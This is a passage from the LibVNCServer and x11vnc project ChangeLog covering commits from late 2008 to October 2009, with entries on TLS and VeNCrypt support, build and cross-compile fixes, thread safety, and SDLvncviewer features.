2909 x11vnc/solid.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1,
2910 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Workaround for inane
2911 X_ShmAttach incompatibility in Xorg, -solid support in xfce,
2912 showrfbauth option.
2913
29142009-10-08 runge <runge@karlrunge.com>
2915
2916 * x11vnc/misc/enhanced_tightvnc_viewer/README,
2917 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
2918 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
2919 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
2920 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
2921 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
2922 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
2923 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
2924 ll.patch: Synchronize ssvnc source, etc. Nearly the 1.0.24
2925 release...
2926
29272009-10-08 runge <runge@karlrunge.com>
2928
2929 * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
2930 x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
2931 x11vnc/connections.h, x11vnc/enc.h, x11vnc/help.c,
2932 x11vnc/keyboard.c, x11vnc/options.c, x11vnc/options.h,
2933 x11vnc/params.h, x11vnc/remote.c, x11vnc/remote.h, x11vnc/screen.c,
2934 x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c,
2935 x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h,
2936 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h,
2937 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c,
2938 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/util.c, x11vnc/util.h,
2939 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
2940 x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c,
2941 x11vnc/xevents.h, x11vnc/xwrappers.c: Huge number of changes, see
2942 x11vnc/ChangeLog
2943
29442009-10-07 runge <runge@karlrunge.com>
2945
2946 * libvncclient/rfbproto.c: Some broken build environments treat
2947 fprintf(fh, buf) as a fatal error...
2948
29492009-10-07 runge <runge@karlrunge.com>
2950
2951 * libvncserver/main.c: Some broken build environments treat
2952 fprintf(fh, buf) as a fatal error...
2953
29542009-10-02 Vic Lee <llyzs@163.com>
2955
2956 * libvncclient/rfbproto.c, libvncclient/tls.c, rfb/rfbclient.h,
2957 rfb/rfbproto.h: Add VeNCrypt support in libvncclient Signed-off-by: Vic Lee <llyzs@163.com>
2958
29592009-10-02 Christian Beier <dontmind@freeshell.org>
2960
2961 * configure.ac, libvncclient/rfbproto.c, libvncclient/sockets.c,
2962 rfb/rfb.h, vncterm/Makefile.am: mingw32 crosscompile fixes. SOCKET is redefined in winsock2.h so #undef it where winsock2.h is
2963 included. The changes in rfbproto.c circumvent crosscompiler errors
2964 like 'S_IFMT' undeclared ...', the Makefile.am changes avoid
2965 building linux specific stuff for a win32 host target. Also added
2966 configure option to specify sdl-config. Signed-off-by: Christian Beier <dontmind@freeshell.org>
2967 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2968
29692009-10-02 Johannes Schindelin <johannes.schindelin@gmx.de>
2970
2971 * configure.ac: Fallback to --without-client-tls if GNUTLS could not
2972 be found Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2973
29742009-10-01 Vic Lee <llyzs@163.com>
2975
2976 * configure.ac, libvncclient/Makefile.am, libvncclient/rfbproto.c,
2977 libvncclient/sockets.c, libvncclient/tls.c, libvncclient/tls.h,
2978 libvncclient/vncviewer.c, rfb/rfbclient.h, rfb/rfbproto.h: Add
2979 anonymous TLS support in libvncclient Signed-off-by: Vic Lee <llyzs@163.com>
2980
29812009-10-02 Johannes Schindelin <johannes.schindelin@gmx.de>
2982
2983 * test/encodingstest.c: encodingstest: fix multi-threading issue Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2984
29852009-10-02 Johannes Schindelin <johannes.schindelin@gmx.de>
2986
2987 * test/encodingstest.c: encodingstest: fix whitespace Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2988
29892009-10-02 Johannes Schindelin <johannes.schindelin@gmx.de>
2990
2991 * AUTHORS: Add Christian Beier to the AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2992
29932009-10-02 Christian Beier <dontmind@freeshell.org>
2994
2995 * libvncclient/rfbproto.c: Fix IsUnixSocket() This is a pure functionality fix: according to its manpage, stat()
2996 returns 0 on success. Checking for a return value of zero fixes
2997 incorrect results of IsUnixSocket(). Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
2998
29992009-09-27 Johannes Schindelin <johannes.schindelin@gmx.de>
3000
3001 * AUTHORS: Add Vic Lee to the author list Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3002
30032009-09-14 Vic Lee <llyzs@163.com>
3004
3005 * libvncclient/rfbproto.c: Fix bug for logging unsupported security
3006 types Signed-off-by: Vic Lee <llyzs@163.com>
3007
30082009-09-14 Vic Lee <llyzs@163.com>
3009
3010 * libvncclient/rfbproto.c: Fix bug for VNC Server version 4 Signed-off-by: Vic Lee <llyzs@163.com>
3011
30122009-08-10 runge <runge@karlrunge.com>
3013
3014 * x11vnc/README, x11vnc/connections.c, x11vnc/enc.h, x11vnc/help.c,
3015 x11vnc/pointer.c, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c,
3016 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Improvements
3017 to -unixpw_cmd and -unixpw_nis. Experimental X11VNC_WATCH_DX_DY=1
3018 for buggy theme menus, see:
3019 http://ubuntuforums.org/showthread.php?t=1223490
3020
30212009-07-11 runge <runge@karlrunge.com>
3022
3023 * prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/help.c,
3024 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Setup for x11vnc version
3025 0.9.9
3026
30272009-06-19 runge <runge@karlrunge.com>
3028
3029 * classes/ssl/README,
3030 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
3031 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/README:
3032 Add proxyHost and proxyPort java applet params.
3033
30342009-06-18 runge <runge@karlrunge.com>
3035
3036 * classes/ssl/ss_vncviewer,
3037 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
3038 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
3039 x11vnc/ChangeLog, x11vnc/README,
3040 x11vnc/misc/enhanced_tightvnc_viewer/README,
3041 x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
3042 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3043 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3044 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3045 x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
3046 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
3047 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3048 ll.patch: classes/ssl: java viewer now handles auth-basic proxy
3049 logins. misc/enhanced_tightvnc_viewer: update ssvnc.
3050
30512009-06-16 Johannes Schindelin <johannes.schindelin@gmx.de>
3052
3053 * libvncclient/vncviewer.c: Fix two issues in rfbGetClient() There was an unnecessary assignment, and an assignment of a string
3054 that was to be free()ed later, so it has to be strdup()ed. Both issues spotted by Roman Held. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3055
30562009-06-14 runge <runge@karlrunge.com>
3057
3058 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3059 x11vnc/help.c, x11vnc/screen.c, x11vnc/sslhelper.c,
3060 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c:
3061 X11VNC_REFLECT_PASSWORD env. var., warning about compiz, improve
3062 single-port.
3063
30642009-05-22 Stefan Becker <stefanb2@users.sourceforge.net>
3065
3066 * libvncclient/vncviewer.c: Add close() to rfbClientCleanup() Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3067
30682009-05-21 runge <runge@karlrunge.com>
3069
3070 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README,
3071 x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c,
3072 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/misc/turbovnc/convert,
3073 x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c,
3074 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
3075 x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/user.c,
3076 x11vnc/userinput.c, x11vnc/util.c, x11vnc/util.h, x11vnc/x11vnc.1,
3077 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
3078 x11vnc/xrecord.c, x11vnc/xwrappers.c: Thread safety. Fix -clip -in
3079 -rawfb. Try to avoid Xorg stuck key bug.
3080
30812009-05-21 runge <runge@karlrunge.com>
3082
3083 * ChangeLog, configure.ac, libvncserver/main.c,
3084 libvncserver/rfbserver.c, libvncserver/tight.c,
3085 libvncserver/tightvnc-filetransfer/rfbtightserver.c,
3086 libvncserver/zlib.c, libvncserver/zrle.c,
3087 libvncserver/zrleencodetemplate.c, rfb/rfb.h: Thread safety for
3088 zrle, zlib, tight. Proposed tight security type fix for debian bug
3089 517422.
3090
30912009-05-20 llyzs <llyzs@163.com>
3092
3093 * rfb/rfbclient.h: Export the functions SupportsClient2Server and
3094 SupportsServer2Client These are useful functions for VNC clients, so let's export them for
3095 everybody to use. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3096
30972009-05-12 Johannes Schindelin <johannes.schindelin@gmx.de>
3098
3099 * AUTHORS: Add Ben to the authors Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3100
31012009-05-12 Johannes Schindelin <johannes.schindelin@gmx.de>
3102
3103 * autogen.sh: Make autogen.sh executable Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3104
31052009-05-12 Ben Klopfenstein <benklop@gmail.com>
3106
3107 * libvncclient/rfbproto.c, libvncclient/sockets.c, rfb/rfbclient.h:
3108 libvncclient: Unix sockets support by Ben Klopfenstein Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3109
31102009-03-31 runge <runge@karlrunge.com>
3111
3112 * x11vnc/README, x11vnc/connections.c, x11vnc/connections.h,
3113 x11vnc/screen.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h,
3114 x11vnc/x11vnc_defs.c: rebuild for x11vnc dev 0.9.8
3115
31162009-03-31 runge <runge@karlrunge.com>
3117
3118 * prepare_x11vnc_dist.sh: x11vnc 0.9.8 dev
3119
31202009-03-30 Johannes Schindelin <johannes.schindelin@gmx.de>
3121
3122 * success.html: Add LCD4Linux to the success stories Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3123
31242009-03-16 runge <runge@karlrunge.com>
3125
3126 * x11vnc/README, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c,
3127 x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3128 x11vnc/x11vnc_defs.c: Add some -remap tricks. Limit rfbCFD message
3129 count.
3130
31312009-03-14 runge <runge@karlrunge.com>
3132
3133 * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/README,
3134 x11vnc/allowed_input_t.h, x11vnc/avahi.c, x11vnc/avahi.h,
3135 x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h,
3136 x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c,
3137 x11vnc/cursor.h, x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c,
3138 x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c,
3139 x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h,
3140 x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/macosx.c,
3141 x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h,
3142 x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c,
3143 x11vnc/macosxCGS.h, x11vnc/misc/LICENSE,
3144 x11vnc/misc/turbovnc/Makefile.am, x11vnc/misc/turbovnc/README,
3145 x11vnc/misc/turbovnc/apply_turbovnc, x11vnc/misc/turbovnc/convert,
3146 x11vnc/misc/turbovnc/convert_rfbserver,
3147 x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/options.c,
3148 x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h,
3149 x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h,
3150 x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h,
3151 x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h,
3152 x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c,
3153 x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h,
3154 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h,
3155 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c,
3156 x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c,
3157 x11vnc/user.h, x11vnc/userinput.c, x11vnc/userinput.h,
3158 x11vnc/util.c, x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h,
3159 x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/winattr_t.h,
3160 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
3161 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
3162 x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c,
3163 x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h,
3164 x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c,
3165 x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Insert
3166 x11vnc copyright and license notices.
3167
31682009-03-14 runge <runge@karlrunge.com>
3169
3170 * x11vnc/README: Test git commit setting username & etc.
3171
31722009-03-14 Karl J. Runge <runge@haystack.runge.home>
3173
3174 * x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c,
3175 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Tweak settings and docs for
3176 create_display. Add FD_EXTRA finishing cmd.
3177
31782009-03-13 runge <runge>
3179
3180 * x11vnc/ChangeLog, x11vnc/README, x11vnc/screen.c,
3181 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3182 x11vnc/x11vnc_defs.c: x11vnc: Fix off-screen bug for -ncache_cr
3183 copyrect.
3184
31852009-03-12 dscho <dscho>
3186
3187 * ChangeLog, client_examples/SDLvncviewer.c: Teach SDLvncviewer
3188 about scroll wheel events Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3189
31902009-03-12 dscho <dscho>
3191
3192 * client_examples/SDLvncviewer.c: SDLvncviewer: fix passing a wrong
3193 pointer type Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3194
31952009-03-08 dscho <dscho>
3196
3197 * ChangeLog, client_examples/Makefile.am,
3198 client_examples/SDLvncviewer.c, client_examples/scrap.c,
3199 client_examples/scrap.h: Clipboard support for SDLvncviewer The clipboard support has only been tested on Linux so far. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3200
32012009-03-07 runge <runge>
3202
3203 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3204 x11vnc/help.c, x11vnc/misc/turbovnc/Makefile.am,
3205 x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc,
3206 x11vnc/misc/turbovnc/convert,
3207 x11vnc/misc/turbovnc/convert_rfbserver,
3208 x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/scan.c,
3209 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
3210 x11vnc/user.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Allow range
3211 for X11VNC_SKIP_DISPLAY, document grab Xserver issue. Add
3212 progress_client() to proceed more quickly thru handshake.
3213 Improvements to turbovnc hack.
3214
32152009-03-07 dscho <dscho>
3216
3217 * ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer:
3218 upon focus loss, force releasing the Alt keys When switching windows using the Alt+Tab shortcut, SDLvncviewer
3219 would get the "down" event, but not the "up" event. This patch
3220 provides a workaround. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3221
32222009-03-07 dscho <dscho>
3223
3224 * client_examples/SDLvncviewer.c: SDLvncviewer: refactor event
3225 handling Instead of having deep indent levels, put the code to handle events
3226 into its own function. That also helps readability. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3227
32282009-03-07 dscho <dscho>
3229
3230 * TODO: Update SDLvncviewer TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3231
32322009-03-07 dscho <dscho>
3233
3234 * ChangeLog, client_examples/SDLvncviewer.c: Teach SDLvncviewer to
3235 be resizable Using "SDLvncviewer -resizable", you make the window resizable.
3236 This means that you can shrink the window (e.g. when you are trying
3237 to access an x11vnc from your little netbook), or you can enlarge
3238 it. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3239
32402009-03-06 dscho <dscho>
3241
3242 * ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer:
3243 enable key repeat Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3244
32452009-02-28 runge <runge>
3246
3247 * configure.ac, x11vnc/ChangeLog, x11vnc/README,
3248 x11vnc/misc/Makefile.am, x11vnc/misc/turbovnc/Makefile.am,
3249 x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc,
3250 x11vnc/misc/turbovnc/convert, x11vnc/misc/turbovnc/tight.c,
3251 x11vnc/misc/turbovnc/turbojpeg.h,
3252 x11vnc/misc/turbovnc/undo_turbovnc: x11vnc: add kludge to experiment
3253 with turbovnc.
3254
32552009-02-26 runge <runge>
3256
3257 * x11vnc/ChangeLog, x11vnc/README, x11vnc/remote.c,
3258 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
3259 x11vnc/x11vnc_defs.c: x11vnc: fix some -QD cases for use in
3260 tkx11vnc.
3261
32622009-02-22 runge <runge>
3263
3264 * x11vnc/README, x11vnc/avahi.c, x11vnc/enc.h, x11vnc/selection.c:
3265 fix some compiler warnings.
3266
32672009-02-22 runge <runge>
3268
3269 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1,
3270 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: add -noskip_lockkeys option
3271 for future use.
3272
32732009-02-04 runge <runge>
3274
3275 * classes/ssl/README,
3276 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
3277 x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/remote.c,
3278 x11vnc/screen.c, x11vnc/selection.c, x11vnc/sslhelper.c,
3279 x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c,
3280 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3281 x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc: Add "sendbell"
3282 remote cmd. Fix copyrect updates under -reflect. Workaround that
3283 checks valid window of selection requestor. Wait on some ssl helper
3284 pids earlier. Workaround XAUTHLOCALHOSTNAME for some new usage
3285 modes. Set fake fb to requested bpp with correct masks. -padgeom
3286 once:... mode. Set LIBXCB_ALLOW_SLOPPY_LOCK by default.
3287 rfbRandomBytes earlier. classes/ssl: Update jars. Add "TOP_"
3288 dropdown customization to ultravnc java viewer applet FTP panel.
3289
32902009-02-03 dscho <dscho>
3291
3292 * test/Makefile.am: test/Makefile: use check_PROGRAMS Rather than use noinst_PROGRAMS, check_PROGRAMS will define programs
3293 that are only compiled when someone actually runs `make check`. Signed-off-by: Mike Frysinger <vapier@gentoo.org> Signed-off-by:
3294 Johannes Schindelin <johannes.schindelin@gmx.de>
3295
32962009-02-03 dscho <dscho>
3297
3298 * ChangeLog: Record Mike's automake cleanups Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
3299
33002009-02-03 dscho <dscho>
3301
3302 * Makefile.am, client_examples/Makefile.am, configure.ac,
3303 contrib/Makefile.am, examples/Makefile.am,
3304 libvncclient/Makefile.am, libvncserver/Makefile.am,
3305 test/Makefile.am, vncterm/Makefile.am, x11vnc/Makefile.am: clean up
3306 build flags The flag handling (both compiler options and include paths) are a
3307 mess at the moment. There is no point in forcing "-O2 -g" when
3308 these are already the defaults, and if someone changes the defaults,
3309 chances are good they don't want you clobbering their choices. The -Wall flag should be handled in configure and thrown into CFLAGS
3310 once rather than every Makefile.am. Plus, this way we can control
3311 which compilers the flag actually gets used with. Finally, the INCLUDES variable is for -I paths, not AM_CFLAGS. Nor
3312 should it contain -I. as this is already in the default includes
3313 setup. Signed-off-by: Mike Frysinger <vapier@gentoo.org> Signed-off-by:
3314 Johannes Schindelin <johannes.schindelin@gmx.de>
3315
33162009-02-03 dscho <dscho>
3317
3318 * configure.ac: configure: use _cv_ in cache var name Newer autoconf fails if _cv_ is not in the cache var name. Signed-off-by: Mike Frysinger <vapier@gentoo.org> Signed-off-by:
3319 Johannes Schindelin <johannes.schindelin@gmx.de>
3320
33212009-02-03 dscho <dscho>
3322
3323 * configure.ac: configure: use AM_PROG_CC_C_O Newer automakes error out due to per-file CFLAGS being used unless
3324 the macro AM_PROG_CC_C_O is set in configure.ac. [jes: The macro AM_PROG_CC_C_O has been around since 1999, so it
3325 should be safe.] Signed-off-by: Mike Frysinger <vapier@gentoo.org> Signed-off-by:
3326 Johannes Schindelin <johannes.schindelin@gmx.de>
3327
33282009-02-03 dscho <dscho>
3329
3330 * autogen.sh: autogen.sh: run with set -e If any autotool command fails, we want to abort, not keep running.
3331 Otherwise, errors in say a Makefile.am will be missed as the
3332 automake failure gets ignored and then lost in the noise. Signed-off-by: Mike Frysinger <vapier@gentoo.org> Signed-off-by:
3333 Johannes Schindelin <johannes.schindelin@gmx.de>
3334
33352009-01-12 runge <runge>
3336
3337 * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
3338 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3339 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3340 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3341 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
3342 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
3343 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
3344 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3345 ll.patch: SSVNC 1.0.22 release (+ a little bit more). crl lists,
3346 ssh pid finding improvements, and more.
3347
33482009-01-12 runge <runge>
3349
3350 * CMakeLists.txt, ChangeLog, configure.ac: configure.ac,
3351 CMakeLists.txt: set LibVNCServer version to 0.9.7
3352
33532009-01-12 runge <runge>
3354
3355 * classes/ssl/README, classes/ssl/ss_vncviewer,
3356 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
3357 x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3358 x11vnc/x11vnc_defs.c: classes/ssl: Add configurable Ultra java
3359 applet Filexfer Drives drop down (e.g.
3360 ftpDropDown=Home.Desktop.bin). Document all applet parameters in
3361 classes/ssl/README.
3362
33632009-01-11 runge <runge>
3364
3365 * ChangeLog: Forgot ChangeLog
3366
33672009-01-11 runge <runge>
3368
3369 * prepare_x11vnc_dist.sh: prepare_x11vnc_dist.sh: fix SUBDIRS and
3370 DIST_SUBDRIS when using --with-system-libvncserver
3371
33722009-01-10 runge <runge>
3373
3374 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/screen.c,
3375 x11vnc/selection.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c,
3376 x11vnc/xrecord.c: x11vnc: fix failure of -8to24 on default depth 24
3377 due to nonstandard indexed color support changes. Fix small window
3378 for failure after XSendEvent selection call; add env var.
3379 X11VNC_SENDEVENT_SYNC=1 to take even more care.
3380
33812009-01-04 runge <runge>
3382
3383 * x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c,
3384 x11vnc/connections.c, x11vnc/connections.h, x11vnc/enc.h,
3385 x11vnc/gui.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c,
3386 x11vnc/sslhelper.c, x11vnc/x11vnc.c, x11vnc/xwrappers.c: x11vnc: fix
3387 compiler warnings.
3388
33892009-01-04 runge <runge>
3390
3391 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
3392 x11vnc/connections.c, x11vnc/help.c, x11vnc/linuxfb.c,
3393 x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
3394 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
3395 x11vnc/sslhelper.c, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
3396 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc:
3397 add -rmflag option, -rawfb vt support, bpp < 8 support for rawfb,
3398 find /dev/video better. Fix reverse SSL connection for DH. Some
3399 improvements for CUPS TS helper, restart if needed.
3400
34012009-01-04 runge <runge>
3402
3403 * configure.ac, prepare_x11vnc_dist.sh: configure.ac: add include
3404 file file for libXrandr on Solaris. prepare_x11vnc_dist.sh: set
3405 version to 0.9.7
3406
34072008-12-10 runge <runge>
3408
3409 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
3410 x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h,
3411 x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/ssltools.h,
3412 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c,
3413 x11vnc/userinput.c, x11vnc/util.c, x11vnc/x11vnc.1,
3414 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: 0.9.6 release. Some
3415 strtok bugfixes. rename -tlsvnc to -anontls. Disable ssl caching.
3416 No cert creation prompting in inetd or bg modes. waitpid a bit more
3417 carefully on ssl helpers. Tune ssl initial timeouts. Let -create
3418 user specify starting X display. fix -rfbport prompt gui for older
3419 tk. -sslonly option. Error if no -ssl with related options. -rand
3420 option. -ssl implies -ssl SAVE
3421
34222008-11-22 runge <runge>
3423
3424 * classes/ssl/ss_vncviewer: Update ss_vncviewer...
3425
34262008-11-22 runge <runge>
3427
3428 * x11vnc/misc/enhanced_tightvnc_viewer/README,
3429 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
3430 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
3431 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
3432 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
3433 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
3434 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
3435 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa
3436 tch,
3437 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
3438 ll.patch, x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop: SSVNC
3439 sync: stunnel upgrade and patch, change wish order, -anondh -ciphers
3440 option VeNCrypt and TLSVNC support (in pproxy and unix vncviewer).
3441 Help text tweaks -killstunnel, s_client fixes, No Encryption easier.
3442 Zeroconf/avahi support. tk font fixes. SSVNC_ULTRA_FTP_JAR finding
3443 SSVNC_PREDIGESTED_HANDSHAKE SSVNC_SKIP_RFB_PROTOCOL_VERSION,
3444 SSVNC_SET_SECURITY_TYPE, etc hacks.
3445
34462008-11-22 runge <runge>
3447
3448 * x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
3449 x11vnc/avahi.c, x11vnc/cleanup.c, x11vnc/connections.c,
3450 x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h,
3451 x11vnc/params.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
3452 x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h,
3453 x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
3454 x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/userinput.c,
3455 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.desktop,
3456 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c,
3457 x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xrecord.c,
